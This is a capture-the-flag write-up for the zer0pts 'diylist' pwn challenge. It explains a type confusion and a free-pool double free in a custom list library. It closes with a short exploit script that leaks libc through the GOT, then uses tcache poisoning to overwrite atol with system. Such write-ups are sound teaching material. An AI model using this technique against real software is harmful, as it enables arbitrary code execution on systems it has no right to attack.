zer0pts CTF
pwn
We're given 2 ELF and 3 source code files. I disabled PIE and RELRO to make it easy.
$ ls
chall diylist.c diylist.h libdiylist.so main.c
$ $ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes 0 2 chall
By reading main.c
, you can see 4 functions: add, get, edit, del. Both of them uses functions whose names start with list_
, which actually are defined in diylist.c
. It's an ordinal heap challenge but it might be special in that it uses List defined in a shared library. Even if the shared object has vulnerability, our aim is to get the flag, so let's check for a function to spawn a shell or leaks to get the libc base.
The first vulnerability is obvious for beginners too. We can specify the type of data when adding, getting and showing elements in the list.
$ ./chall
1. list_add
2. list_get
3. list_edit
4. list_del
> 1
Type(long=1/double=2/str=3): 3
Data: Hello, World
1. list_add
2. list_get
3. list_edit
4. list_del
> 2
Index: 0
Type(long=1/double=2/str=3): 3
Data: Hello, World
1. list_add
2. list_get
3. list_edit
4. list_del
> 2
Index: 0
Type(long=1/double=2/str=3): 1
Data: 29487792
1. list_add
2. list_get
3. list_edit
4. list_del
>
Here we got Type Confusion.
In the above example we get the address of string data we added.
case LIST_STRING:
list->data[list->size].p_char = strdup(data.p_char);
/* Insert the address to free pool */
if (fpool_num < MAX_FREEPOOL) {
fpool[fpool_num] = list->data[list->size].p_char;
fpool_num++;
}
break;
Since strdup
is used, the address we got in the above example was an address of heap. Also, it keeps the string pointer to an array named free pool.
Let's check another piece of code in which it uses the free pool.
You can see the following process in delete.
/* Free data if it's in the pool list (which means it's string) */
for(i = 0; i < fpool_num; i++) {
if (fpool[i] == data.p_char) {
free(data.p_char);
break;
}
}
It frees a pointer if it's in the free pool. Here you can see it doesn't set the free pool to NULL. Thus, it may cause double free.
However, before that it removed the original data by shifting the list.
if (index < 0 || list->size <= index)
__list_abort("Out of bounds error");
Data data = list->data[index];
/* Shift data list and remove the last one */
for(i = index; i < list->size - 1; i++) {
list->data[i] = list->data[i + 1];
}
list->data[i].d_long = 0;
list->size--;
At first glance there seems no double free as index/size checking are correct. However, since diylist doesn't keep the data type, this process may happen to long or double-typed data.
So, if we delete an integer or value same as the pointer written in the free pool, we can cause double free. We already have the pointer by previous Type Confusion.
Thanks to Type Confusion and as PIE disabled, we can leak libc base by showing the content of GOT. After that, we can overwrite some function pointer such as atol
to system
and can cause arbitrary code executions. (tcache poisoning)
# libc leak (type confusion)
add(1, str(elf.got("puts")))
addr_puts = u64(get(0, 3))
libc_base = addr_puts - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))
# heap leak (type confusion)
add(3, "A" * 8)
addr_heap = int(get(1, 1))
logger.info("addr heap = " + hex(addr_heap))
# double free (free pool)
edit(0, 1, str(addr_heap))
delete(1)
delete(0)
# tcache poisoning
add(3, p64(elf.got("atol")))
add(3, "A" * 8)
add(3, p64(libc_base + libc.symbol("system")))